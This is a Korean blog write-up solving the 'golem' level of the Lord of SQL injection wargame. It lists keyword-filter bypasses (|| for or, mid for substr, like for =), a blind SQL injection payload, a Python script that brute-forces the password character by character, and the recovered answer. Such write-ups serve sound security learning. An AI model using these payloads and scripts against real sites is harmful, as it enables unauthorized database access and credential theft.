티스토리 뷰

writeup/LOS

[Lord of SQL injection] golem

hoppi 2021. 7. 11. 12:49

마흔일곱 번째 글.

 

 

1. 코드 분석

전에 풀었던 문제처럼 Blind SQL injection을 이용해서 pw값을 찾아야 문제가 풀린다.

이번에는 or, and, substr(, =를 필터링하고 있었다.

 

 

2. Exploit

  • or -> ||
  • and -> &&
  • substr -> mid
  • = -> like

?pw=' or 1 like(if(ascii(mid(pw,인덱스,1))like(비교값),1,0))%23

substr() 함수와 동일한 mid() 함수로 대체하였고

아스키코드로 변환하는 함수도 처음에 ord()를 썼었는데 'or'가 필터링되면서 계속 걸렸었다.

그렇기 때문에 ascii() 함수로 대체하였다.

 

최종적으로 아래와 같이 전에 쓰던 코드를 변경해 주면 된다.

import requests

sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSIONID'}
password_length = 0
password = ''

## get password length
for i in range(100):
    url = f"https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='|| length(pw)like({i})%23"
    res = sess.get(url, headers=headers)
    if('Hello admin' in res.text and i !=4):
        print('Password length is ', i)
        password_length = i
        break
## get password
for i in range(password_length+1):
    for j in range(32, 127):
        url = f"https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=' || 1 like(if(ascii(mid(pw,{i},1))like({j}),1,0))%23"
        res = sess.get(url, headers=headers)
        if('Hello admin' in res.text):
            password = password+chr(j)
            print(password)
            break

print("Password is " + password)

 

 

코드를 돌려보면 pw는 '77d6290b'인 것을 알 수 있다.

'writeup > LOS' 카테고리의 다른 글

[Lord of SQL injection] bugbear  (0) 2021.07.13
[Lord of SQL injection] darknight  (0) 2021.07.12
[Lord of SQL injection] vampire  (0) 2021.07.10
[Lord of SQL injection] troll  (0) 2021.07.10
[Lord of SQL injection] darkelf  (0) 2021.07.02